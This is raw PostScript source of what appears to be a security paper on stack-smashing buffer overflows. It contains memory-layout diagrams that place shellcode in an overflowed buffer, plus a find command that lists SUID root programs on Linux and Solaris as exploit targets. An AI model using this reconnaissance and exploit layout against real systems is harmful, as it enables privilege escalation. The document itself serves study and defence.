0.424 0.424 sco O ; 980 807 N M 1206 4 rr : 0.431 0.431 0.431 sco O ; 980 811 N M 1206 6 rr : 0.439 0.439 0.439 sco O ; 980 817 N M 1206 6 rr : 0.447 0.447 0.447 sco O ; 980 821 N M 1206 6 rr : 0.455 0.455 0.455 sco O ; 980 827 N M 1206 4 rr : 0.463 0.463 0.463 sco O ; 980 831 N M 1206 6 rr : 0.471 0.471 0.471 sco O ; 980 837 N M 1206 6 rr : 0.478 0.478 0.478 sco O ; 980 841 N M 1206 6 rr : 0.486 0.486 0.486 sco O ; 980 847 N M 1206 6 rr : 0.494 0.494 0.494 sco O ; 980 851 N M 1206 6 rr : 0.502 0.502 0.502 sco O ; 980 857 N M 1206 6 rr : 0.510 0.510 0.510 sco O ; 980 863 N M 1206 4 rr : 0.518 0.518 0.518 sco O ; 980 867 N M 1206 6 rr : 0.525 0.525 0.525 sco O ; 980 871 N M 1206 6 rr : 0.533 0.533 0.533 sco O ; 980 877 N M 1206 6 rr : 0.541 0.541 0.541 sco O ; 980 883 N M 1206 4 rr : 0.549 0.549 0.549 sco O ; 980 887 N M 1206 6 rr : 0.557 0.557 0.557 sco O ; 980 893 N M 1206 4 rr : 0.565 0.565 0.565 sco O ; 980 897 N M 1206 6 rr : 0.573 0.573 0.573 sco O ; 980 903 N M 1206 4 rr : 0.580 0.580 0.580 sco O ; 980 907 N M 1206 6 rr : 0.588 0.588 0.588 sco O ; 980 913 N M 1206 4 rr : 0.596 0.596 0.596 sco O ; 980 917 N M 1206 6 rr : 0.604 0.604 0.604 sco O ; 980 923 N M 1206 4 rr : 0.612 0.612 0.612 sco O ; 980 927 N M 1206 6 rr : 0.620 0.620 0.620 sco O ; 980 933 N M 1206 6 rr : 0.627 0.627 0.627 sco O ; 980 939 N M 1206 4 rr : 0.635 0.635 0.635 sco O ; 980 943 N M 1206 4 rr : 0.643 0.643 0.643 sco O ; 980 947 N M 1206 6 rr : 0.651 0.651 0.651 sco O ; 980 953 N M 1206 6 rr : 0.659 0.659 0.659 sco O ; 980 959 N M 1206 4 rr : 0.667 0.667 0.667 sco O ; 980 963 N M 1206 6 rr : 0.675 0.675 0.675 sco O ; 980 969 N M 1206 4 rr : 0.682 0.682 0.682 sco O ; 980 973 N M 1206 6 rr : 0.690 0.690 0.690 sco O ; 980 979 N M 1206 46 rr : 0.698 0.698 0.698 sco O ; 984 693 N M 1202 332 rr 0 Lc 0 Lj 0 0 0 sco K : 1448 901 340 90 rc 0 0 0 sco %%IncludeFont: Times-Italic (F9) cvn 0.894 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F9_66) cvn F9 66 xF F9_66 Ji 1448 903 M 1.000 0 (u)A 0.326 0 (s)A 0.696 0 (e)A -0.826 0 32 0.326 0 (r s)D -0.348 0 (t)A 1.000 0 (a)A 0.696 0 (ck)A ; 980 1025 N M 1208 0 - 1 Lc 1 Lj 0 0 0 sco K 980 2061 N M 1206 42 rr : 0.698 0.698 0.698 sco O ; 980 2103 N M 1206 4 rr : 0.698 0.698 0.698 sco O ; 980 2107 N M 1206 6 rr : 0.690 0.690 0.690 sco O ; 980 2111 N M 1206 6 rr : 0.682 0.682 0.682 sco O ; 980 2117 N M 1206 4 rr : 0.675 0.675 0.675 sco O ; 980 2121 N M 1206 4 rr : 0.667 0.667 0.667 sco O ; 980 2125 N M 1206 6 rr : 0.659 0.659 0.659 sco O ; 980 2129 N M 1206 6 rr : 0.651 0.651 0.651 sco O ; 980 2135 N M 1206 4 rr : 0.643 0.643 0.643 sco O ; 980 2139 N M 1206 6 rr : 0.635 0.635 0.635 sco O ; 980 2145 N M 1206 4 rr : 0.627 0.627 0.627 sco O ; 980 2149 N M 1206 4 rr : 0.620 0.620 0.620 sco O ; 980 2153 N M 1206 4 rr : 0.612 0.612 0.612 sco O ; 980 2157 N M 1206 6 rr : 0.604 0.604 0.604 sco O ; 980 2161 N M 1206 6 rr : 0.596 0.596 0.596 sco O ; 980 2167 N M 1206 4 rr : 0.588 0.588 0.588 sco O ; 980 2171 N M 1206 4 rr : 0.580 0.580 0.580 sco O ; 980 2175 N M 1206 6 rr : 0.573 0.573 0.573 sco O ; 980 2181 N M 1206 4 rr : 0.565 0.565 0.565 sco O ; 980 2185 N M 1206 4 rr : 0.557 0.557 0.557 sco O ; 980 2189 N M 1206 6 rr : 0.549 0.549 0.549 sco O ; 980 2195 N M 1206 4 rr : 0.541 0.541 0.541 sco O ; 980 2199 N M 1206 4 rr : 0.533 0.533 0.533 sco O ; 980 2203 N M 1206 4 rr : 0.525 0.525 0.525 sco O ; 980 2207 N M 1206 6 rr : 0.518 0.518 0.518 sco O ; 980 2213 N M 1206 4 rr : 0.510 0.510 0.510 sco O ; 980 2217 N M 1206 4 rr : 0.502 0.502 0.502 sco O ; 980 2221 N M 1206 4 rr : 0.494 0.494 0.494 sco O ; 980 2225 N M 1206 6 rr : 0.486 0.486 0.486 sco O ; 980 2231 N M 1206 4 rr : 0.478 0.478 0.478 sco O ; 980 2235 N M 1206 4 rr : 0.471 0.471 0.471 sco O ; 980 2239 N M 1206 4 rr : 0.463 0.463 0.463 sco O ; 980 2243 N M 1206 6 rr : 0.455 0.455 0.455 sco O ; 980 2249 N M 1206 4 rr : 0.447 0.447 0.447 sco O ; 980 2253 N M 1206 4 rr : 0.439 0.439 0.439 sco O ; 980 2257 N M 1206 4 rr : 0.431 0.431 0.431 sco O ; 980 2261 N M 1206 6 rr : 0.424 0.424 0.424 sco O ; 980 2267 N M 1206 4 rr : 0.416 0.416 0.416 sco O ; 980 2271 N M 1206 4 rr : 0.408 0.408 0.408 sco O ; 980 2275 N M 1206 6 rr : 0.400 0.400 0.400 sco O ; 980 2281 N M 1206 4 rr : 0.392 0.392 0.392 sco O ; 980 2285 N M 1206 4 rr : 0.384 0.384 0.384 sco O ; 980 2289 N M 1206 4 rr : 0.376 0.376 0.376 sco O ; 980 2293 N M 1206 6 rr : 0.369 0.369 0.369 sco O ; 980 2299 N M 1206 4 rr : 0.361 0.361 0.361 sco O ; 980 2303 N M 1206 4 rr : 0.353 0.353 0.353 sco O ; 980 2307 N M 1206 4 rr : 0.345 0.345 0.345 sco O ; 980 2311 N M 1206 6 rr : 0.337 0.337 0.337 sco O ; 980 2317 N M 1206 4 rr : 0.329 0.329 0.329 sco O ; 980 2321 N M 1206 4 rr : 0.322 0.322 0.322 sco O ; 980 2325 N M 1206 6 rr : 0.314 0.314 0.314 sco O ; 980 2329 N M 1206 6 rr : 0.306 0.306 0.306 sco O ; 980 2335 N M 1206 4 rr : 0.298 0.298 0.298 sco O ; 980 2339 N M 1206 4 rr : 0.290 0.290 0.290 sco O ; 980 2343 N M 1206 4 rr : 0.282 0.282 0.282 sco O ; 980 2347 N M 1206 6 rr : 0.275 0.275 0.275 sco O ; 980 2353 N M 1206 4 rr : 0.267 0.267 0.267 sco O ; 980 2357 N M 1206 6 rr : 0.259 0.259 0.259 sco O ; 984 2063 N M 1202 298 rr 0 Lc 0 Lj 0 0 0 sco K 980 2195 N M 1208 0 - 22 Lw 1 Lc 1 Lj solid 0 0 0 sco K 980 2061 N M 1208 0 - 6 Lw solid 0 0 0 sco K : 1518 2071 202 90 rc 0 0 0 sco F9_66 Ji 1518 2073 M 1.000 0 (h)A 0.696 0 (e)A 1.000 0 (ap)A ; : 1526 729 176 88 rc 0 0 0 sco F2_66 Ji 1526 731 M 0.696 0 (a)A 0.022 0 (r)A -1.000 0 (g)A -1.304 0 (c)A ; 980 859 N M 1208 0 - 22 Lw solid 0 0 0 sco K : 1540 2243 140 90 rc 0 0 0 sco F2_66 Ji 1540 2245 M -1.000 0 (b)A -1.674 0 (ss)A ; : 511 677 3766 1905 rc 980 689 N M 0 1674 - 12 Lw solid 0 0 0 sco K ; : 511 677 3766 1905 rc 2186 689 N M 0 1674 - 12 Lw solid 0 0 0 sco K ; : 511 677 3766 1905 rc 980 691 N M 1208 0 - 12 Lw solid 0 0 0 sco K ; 980 2361 N M 1208 0 - 12 Lw solid 0 0 0 sco K 980 1193 N M 1208 0 - 6 Lw solid 0 0 0 sco K 980 1793 N M 1208 0 - 0 0 0 sco K : 1362 1937 526 90 rc 0 0 0 sco (F4_66) cvn F4 66 xF F4_66 Ji 1362 1937 M 0.400 0 (shellcode[])A ; : 1522 1235 178 90 rc 0 0 0 sco F4_66 Ji 1522 1235 M 0.400 0 (sfp)A ; : 1522 1069 178 88 rc 0 0 0 sco F4_66 Ji 1522 1069 M 0.400 0 (ret)A ; : 1422 1403 396 90 rc 0 0 0 sco F4_66 Ji 1422 1403 M 0.400 0 (long_ptr)A ; : 1266 2405 732 90 rc 0 0 0 sco F2_66 Ji 1266 2407 M -1.000 0 (b)A -1.304 0 (e)A -1.978 0 (f)A -1.000 0 (o)A 0.022 0 (r)A 0.804 0 32 -1.304 0 (e )D -1.674 0 (s)A -0.348 0 (t)A 0.022 0 (r)A -1.304 0 (c)A -1.000 0 (py)A -0.522 0 32 0.022 0 (\(\) )D -0.348 0 (i)A 1.174 0 32 -1.674 0 (s )D -1.304 0 (c)A 0.696 0 (a)A -0.348 0 (ll)A -1.304 0 (e)A -1.000 0 (d)A ; 980 1927 N M 1208 0 - 0 0 0 sco K : 1242 1803 790 90 rc 0 0 0 sco F4_66 Ji 1242 1803 M 0.400 0 (large_string[128])A ; 980 1661 N M 1208 0 - 0 0 0 sco K 980 1527 N M 1208 0 - 0 0 0 sco K : 1462 1669 308 90 rc 0 0 0 sco F4_66 Ji 1462 1669 M 0.400 0 (buffer)A ; : 1562 1537 90 88 rc 0 0 0 sco F4_66 Ji 1562 1537 M 0.400 0 (i)A ; 982 1425 N M -304 0 - 0 0 0 sco K 680 1425 N M 0 436 - 0 0 0 sco K 678 1859 N M 272 0 - 0 0 0 sco K 938 1877 N M 8 -18 - -8 -18 - 42 18 - -42 18 - C : 0 0 0 sco O ; 880 1691 N M 0 136 - 0 0 0 sco K 982 1693 N M -104 0 - 0 0 0 sco K 878 1827 N M 72 0 - 0 0 0 sco K 938 1845 N M 8 -18 - -8 -18 - 42 18 - -42 18 - C : 0 0 0 sco O ; 878 1893 N M 72 0 - 0 0 0 sco K 938 1911 N M 8 -18 - -8 -18 - 42 18 - -42 18 - C : 0 0 0 sco O ; 880 1891 N M 0 104 - 0 0 0 sco K 982 1993 N M -104 0 - 0 0 0 sco K : 680 1569 264 90 rc 0 0 0 sco F4_66 Ji 680 1569 M 0.400 0 (\(X32\))A ; 2962 695 N M 1196 1664 rr : 1.000 1.000 1.000 sco O ; 12 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 3514 2065 140 90 rc 0 0 0 sco F2_66 Ji 3514 2067 M -1.000 0 (b)A -1.674 0 (ss)A ; 2956 2195 N M 0 -170 - 6 Lw 1 Lc 1 Lj solid 0 0 0 sco K 4160 2195 N M 0 -170 - 0 0 0 sco K 2954 2195 N M 1208 0 - 0 0 0 sco K 2956 2363 N M 0 -170 - 0 0 0 sco K 4160 2363 N M 0 -170 - 0 0 0 sco K 2954 1359 N M 1208 0 - 0 0 0 sco K 2956 691 N M 1206 4 rr : 0.251 0.251 0.251 sco O ; 2956 695 N M 1206 6 rr : 0.259 0.259 0.259 sco O ; 2956 701 N M 1206 4 rr : 0.267 0.267 0.267 sco O ; 2956 705 N M 1206 6 rr : 0.275 0.275 0.275 sco O ; 2956 711 N M 1206 4 rr : 0.282 0.282 0.282 sco O ; 2956 715 N M 1206 6 rr : 0.290 0.290 0.290 sco O ; 2956 721 N M 1206 4 rr : 0.298 0.298 0.298 sco O ; 2956 725 N M 1206 6 rr : 0.306 0.306 0.306 sco O ; 2956 731 N M 1206 4 rr : 0.314 0.314 0.314 sco O ; 2956 735 N M 1206 6 rr : 0.322 0.322 0.322 sco O ; 2956 741 N M 1206 6 rr : 0.329 0.329 0.329 sco O ; 2956 747 N M 1206 4 rr : 0.337 0.337 0.337 sco O ; 2956 751 N M 1206 4 rr : 0.345 0.345 0.345 sco O ; 2956 755 N M 1206 6 rr : 0.353 0.353 0.353 sco O ; 2956 761 N M 1206 6 rr : 0.361 0.361 0.361 sco O ; 2956 767 N M 1206 4 rr : 0.369 0.369 0.369 sco O ; 2956 771 N M 1206 6 rr : 0.376 0.376 0.376 sco O ; 2956 777 N M 1206 4 rr : 0.384 0.384 0.384 sco O ; 2956 781 N M 1206 6 rr : 0.392 0.392 0.392 sco O ; 2956 787 N M 1206 4 rr : 0.400 0.400 0.400 sco O ; 2956 791 N M 1206 6 rr : 0.408 0.408 0.408 sco O ; 2956 797 N M 1206 4 rr : 0.416 0.416 0.416 sco O ; 2956 801 N M 1206 6 rr : 0.424 0.424 0.424 sco O ; 2956 807 N M 1206 4 rr : 0.431 0.431 0.431 sco O ; 2956 811 N M 1206 6 rr : 0.439 0.439 0.439 sco O ; 2956 817 N M 1206 6 rr : 0.447 0.447 0.447 sco O ; 2956 821 N M 1206 6 rr : 0.455 0.455 0.455 sco O ; 2956 827 N M 1206 4 rr : 0.463 0.463 0.463 sco O ; 2956 831 N M 1206 6 rr : 0.471 0.471 0.471 sco O ; 2956 837 N M 1206 6 rr : 0.478 0.478 0.478 sco O ; 2956 841 N M 1206 6 rr : 0.486 0.486 0.486 sco O ; 2956 847 N M 1206 6 rr : 0.494 0.494 0.494 sco O ; 2956 851 N M 1206 6 rr : 0.502 0.502 0.502 sco O ; 2956 857 N M 1206 6 rr : 0.510 0.510 0.510 sco O ; 2956 863 N M 1206 4 rr : 0.518 0.518 0.518 sco O ; 2956 867 N M 1206 6 rr : 0.525 0.525 0.525 sco O ; 2956 871 N M 1206 6 rr : 0.533 0.533 0.533 sco O ; 2956 877 N M 1206 6 rr : 0.541 0.541 0.541 sco O ; 2956 883 N M 1206 4 rr : 0.549 0.549 0.549 sco O ; 2956 887 N M 1206 6 rr : 0.557 0.557 0.557 sco O ; 2956 893 N M 1206 4 rr : 0.565 0.565 0.565 sco O ; 2956 897 N M 1206 6 rr : 0.573 0.573 0.573 sco O ; 2956 903 N M 1206 4 rr : 0.580 0.580 0.580 sco O ; 2956 907 N M 1206 6 rr : 0.588 0.588 0.588 sco O ; 2956 913 N M 1206 4 rr : 0.596 0.596 0.596 sco O ; 2956 917 N M 1206 6 rr : 0.604 0.604 0.604 sco O ; 2956 923 N M 1206 4 rr : 0.612 0.612 0.612 sco O ; 2956 927 N M 1206 6 rr : 0.620 0.620 0.620 sco O ; 2956 933 N M 1206 6 rr : 0.627 0.627 0.627 sco O ; 2956 939 N M 1206 4 rr : 0.635 0.635 0.635 sco O ; 2956 943 N M 1206 4 rr : 0.643 0.643 0.643 sco O ; 2956 947 N M 1206 6 rr : 0.651 0.651 0.651 sco O ; 2956 953 N M 1206 6 rr : 0.659 0.659 0.659 sco O ; 2956 959 N M 1206 4 rr : 0.667 0.667 0.667 sco O ; 2956 963 N M 1206 6 rr : 0.675 0.675 0.675 sco O ; 2956 969 N M 1206 4 rr : 0.682 0.682 0.682 sco O ; 2956 973 N M 1206 6 rr : 0.690 0.690 0.690 sco O ; 2956 979 N M 1206 46 rr : 0.698 0.698 0.698 sco O ; 2958 693 N M 1202 332 rr 0 Lc 0 Lj 0 0 0 sco K : 3422 901 340 90 rc 0 0 0 sco F9_66 Ji 3422 903 M 1.000 0 (u)A 0.326 0 (s)A 0.696 0 (e)A -0.826 0 32 0.326 0 (r s)D -0.348 0 (t)A 1.000 0 (a)A 0.696 0 (ck)A ; 2954 1025 N M 1208 0 - 1 Lc 1 Lj 0 0 0 sco K 2956 2061 N M 1206 42 rr : 0.698 0.698 0.698 sco O ; 2956 2103 N M 1206 4 rr : 0.698 0.698 0.698 sco O ; 2956 2107 N M 1206 6 rr : 0.690 0.690 0.690 sco O ; 2956 2111 N M 1206 6 rr : 0.682 0.682 0.682 sco O ; 2956 2117 N M 1206 4 rr : 0.675 0.675 0.675 sco O ; 2956 2121 N M 1206 4 rr : 0.667 0.667 0.667 sco O ; 2956 2125 N M 1206 6 rr : 0.659 0.659 0.659 sco O ; 2956 2129 N M 1206 6 rr : 0.651 0.651 0.651 sco O ; 2956 2135 N M 1206 4 rr : 0.643 0.643 0.643 sco O ; 2956 2139 N M 1206 6 rr : 0.635 0.635 0.635 sco O ; 2956 2145 N M 1206 4 rr : 0.627 0.627 0.627 sco O ; 2956 2149 N M 1206 4 rr : 0.620 0.620 0.620 sco O ; 2956 2153 N M 1206 4 rr : 0.612 0.612 0.612 sco O ; 2956 2157 N M 1206 6 rr : 0.604 0.604 0.604 sco O ; 2956 2161 N M 1206 6 rr : 0.596 0.596 0.596 sco O ; 2956 2167 N M 1206 4 rr : 0.588 0.588 0.588 sco O ; 2956 2171 N M 1206 4 rr : 0.580 0.580 0.580 sco O ; 2956 2175 N M 1206 6 rr : 0.573 0.573 0.573 sco O ; 2956 2181 N M 1206 4 rr : 0.565 0.565 0.565 sco O ; 2956 2185 N M 1206 4 rr : 0.557 0.557 0.557 sco O ; 2956 2189 N M 1206 6 rr : 0.549 0.549 0.549 sco O ; 2956 2195 N M 1206 4 rr : 0.541 0.541 0.541 sco O ; 2956 2199 N M 1206 4 rr : 0.533 0.533 0.533 sco O ; 2956 2203 N M 1206 4 rr : 0.525 0.525 0.525 sco O ; 2956 2207 N M 1206 6 rr : 0.518 0.518 0.518 sco O ; 2956 2213 N M 1206 4 rr : 0.510 0.510 0.510 sco O ; 2956 2217 N M 1206 4 rr : 0.502 0.502 0.502 sco O ; 2956 2221 N M 1206 4 rr : 0.494 0.494 0.494 sco O ; 2956 2225 N M 1206 6 rr : 0.486 0.486 0.486 sco O ; 2956 2231 N M 1206 4 rr : 0.478 0.478 0.478 sco O ; 2956 2235 N M 1206 4 rr : 0.471 0.471 0.471 sco O ; 2956 2239 N M 1206 4 rr : 0.463 0.463 0.463 sco O ; 2956 2243 N M 1206 6 rr : 0.455 0.455 0.455 sco O ; 2956 2249 N M 1206 4 rr : 0.447 0.447 0.447 sco O ; 2956 2253 N M 1206 4 rr : 0.439 0.439 0.439 sco O ; 2956 2257 N M 1206 4 rr : 0.431 0.431 0.431 sco O ; 2956 2261 N M 1206 6 rr : 0.424 0.424 0.424 sco O ; 2956 2267 N M 1206 4 rr : 0.416 0.416 0.416 sco O ; 2956 2271 N M 1206 4 rr : 0.408 0.408 0.408 sco O ; 2956 2275 N M 1206 6 rr : 0.400 0.400 0.400 sco O ; 2956 2281 N M 1206 4 rr : 0.392 0.392 0.392 sco O ; 2956 2285 N M 1206 4 rr : 0.384 0.384 0.384 sco O ; 2956 2289 N M 1206 4 rr : 0.376 0.376 0.376 sco O ; 2956 2293 N M 1206 6 rr : 0.369 0.369 0.369 sco O ; 2956 2299 N M 1206 4 rr : 0.361 0.361 0.361 sco O ; 2956 2303 N M 1206 4 rr : 0.353 0.353 0.353 sco O ; 2956 2307 N M 1206 4 rr : 0.345 0.345 0.345 sco O ; 2956 2311 N M 1206 6 rr : 0.337 0.337 0.337 sco O ; 2956 2317 N M 1206 4 rr : 0.329 0.329 0.329 sco O ; 2956 2321 N M 1206 4 rr : 0.322 0.322 0.322 sco O ; 2956 2325 N M 1206 6 rr : 0.314 0.314 0.314 sco O ; 2956 2329 N M 1206 6 rr : 0.306 0.306 0.306 sco O ; 2956 2335 N M 1206 4 rr : 0.298 0.298 0.298 sco O ; 2956 2339 N M 1206 4 rr : 0.290 0.290 0.290 sco O ; 2956 2343 N M 1206 4 rr : 0.282 0.282 0.282 sco O ; 2956 2347 N M 1206 6 rr : 0.275 0.275 0.275 sco O ; 2956 2353 N M 1206 4 rr : 0.267 0.267 0.267 sco O ; 2956 2357 N M 1206 6 rr : 0.259 0.259 0.259 sco O ; 2958 2063 N M 1202 298 rr 0 Lc 0 Lj 0 0 0 sco K 2954 2195 N M 1208 0 - 22 Lw 1 Lc 1 Lj solid 0 0 0 sco K 2954 2061 N M 1208 0 - 6 Lw solid 0 0 0 sco K : 3492 2071 202 90 rc 0 0 0 sco F9_66 Ji 3492 2073 M 1.000 0 (h)A 0.696 0 (e)A 1.000 0 (ap)A ; : 3500 729 178 88 rc 0 0 0 sco F2_66 Ji 3500 731 M 0.696 0 (a)A 0.022 0 (r)A -1.000 0 (g)A -1.304 0 (c)A ; 2954 859 N M 1208 0 - 22 Lw solid 0 0 0 sco K : 3514 2243 140 90 rc 0 0 0 sco F2_66 Ji 3514 2245 M -1.000 0 (b)A -1.674 0 (ss)A ; : 511 677 3766 1905 rc 2956 689 N M 0 1674 - 12 Lw solid 0 0 0 sco K ; : 511 677 3766 1905 rc 4160 689 N M 0 1674 - 12 Lw solid 0 0 0 sco K ; : 511 677 3766 1905 rc 2954 691 N M 1208 0 - 12 Lw solid 0 0 0 sco K ; 2954 2361 N M 1208 0 - 12 Lw solid 0 0 0 sco K 2954 1193 N M 1208 0 - 6 Lw solid 0 0 0 sco K 2954 1793 N M 1208 0 - 0 0 0 sco K : 3336 1937 528 90 rc 0 0 0 sco F4_66 Ji 3336 1937 M 0.400 0 (shellcode[])A ; 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SUID root programs by distribution)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1742 M -2.300 0 (I)A 4.000 0 32 (n o)W -0.300 0 (r)A (d)S -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 4.000 0 32 (o )W 0.100 0 (s)A -0.400 0 (ea)A -0.300 0 (r)A -0.400 0 (c)A 4.000 0 32 (h )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 4.000 0 32 (d )W -0.200 0 (UN)A -2.300 0 (I)A 4.200 0 32 -0.200 0 (X )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A (on)S 3.900 0 32 0.100 0 (s )D -0.300 0 (f)A (o)S 4.300 0 32 -0.300 0 (r )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 5.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 4.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A 5.000 0 32 (, )W 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 0.200 0 (ll)A (o)S -0.200 0 (w)A 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1919 M -0.151 0 (command can be executed by the privileged user:)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F6) cvn 0.783 (Courier) cvn /Type1 T (Courier) cvn mF (F6_83) cvn F6 83 xF F6_83 Ji 1327 2092 M 0.200 0 (/usr/bin/find / -user root -perm -004000 -print)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2228 M -0.100 0 (T)A (h)S 0.200 0 (i)A -0.100 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (a)A (nd )S 0.200 0 (i)A -0.100 0 32 0.100 0 (s )D 0.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A -0.300 0 (-)A -0.200 0 (w)A 0.200 0 (i)A (d)S 0.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (ea)A -0.300 0 (r)A -0.400 0 (c)A 1.000 0 32 (h )W -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (a)A 1.000 0 32 (nd )W -0.300 0 (f)A (o)S 1.300 0 32 -0.300 0 (r )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 1.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 0.800 0 32 0.200 0 (t )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 0.100 0 (s)A 0.800 0 32 0.200 0 (; )D -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 1.000 0 32 (h, )W -0.400 0 (a)A 0.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S -0.400 0 (e)A 1.000 0 32 (d, )W -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2405 M -0.400 0 (c)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 13.800 0 32 0.200 0 (l i)D 15.000 0 32 (n )W -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (n)S 16.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 15.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 0.100 0 (s)A 15.000 0 32 (. )W -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e a)D (bov)S 15.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (mm)A -0.400 0 (a)A 15.000 0 32 (nd )W -0.400 0 (a)A 14.900 0 32 0.100 0 (s )D 15.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 14.800 0 32 0.200 0 (t )D -0.400 0 (ca)A 0.100 0 (s)A -0.400 0 (e)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2582 M -0.200 0 (w)A (o)S -0.300 0 (r)A (k)S 0.200 0 (i)A (n)S 24.000 0 32 -1.000 0 (g )D 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ll)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 22.900 0 32 0.100 0 (s )D (o)S 23.300 0 32 -0.300 0 (f )D 0.200 0 (t)A -0.200 0 (w)A 23.000 0 32 (o popu)W 0.200 0 (l)A -0.400 0 (a)A 23.300 0 32 -0.300 0 (r )D -0.200 0 (UN)A -2.300 0 (I)A 23.200 0 32 -0.200 0 (X w)D -0.400 0 (e)A -0.300 0 (r)A 23.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 23.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 23.000 0 32 (h )W 0.200 0 (t)A (h)S 0.200 0 (i)A 22.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (a)A (nd)S 23.800 0 32 0.200 0 (: )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 23.000 0 32 1.000 0 (x )D -0.400 0 (a)A (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2759 M 0.029 0 (Solaris)A ; : 817 2743 4066 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 890 2743 M 0.500 0 (11)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 958 2759 M (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2936 M -0.200 0 (O)A 10.000 0 32 (n )W 10.400 0 32 -0.400 0 (a )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 9.000 0 32 1.000 0 (x )D 0.200 0 (m)A -0.400 0 (ac)A (h)S 0.200 0 (i)A (n)S 10.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S 12.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D 11.000 0 32 (2.0.30 k)W -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A 11.000 0 32 (, bu)W 10.800 0 32 0.200 0 (ilt )D -0.300 0 (fr)A (o)S 10.800 0 32 0.200 0 (m )D 11.400 0 32 -0.400 0 (a )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (e)A 11.000 0 32 (d v)W -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (i)A 11.000 0 32 (on o)W 11.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F9) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F9_100) cvn F9 100 xF F9_100 Ji 612 3113 M (S)S 0.200 0 (l)A (a)S -0.400 0 (ck)A 0.300 0 (w)A (a)S 0.100 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1028 3113 M 16.000 0 32 ( d)W 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 16.000 0 32 (on, 56 )W 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 16.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 15.800 0 32 0.200 0 (t )D -0.200 0 (w)A (o)S -0.300 0 (r)A 0.200 0 (l)A (d)S -0.300 0 (-)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 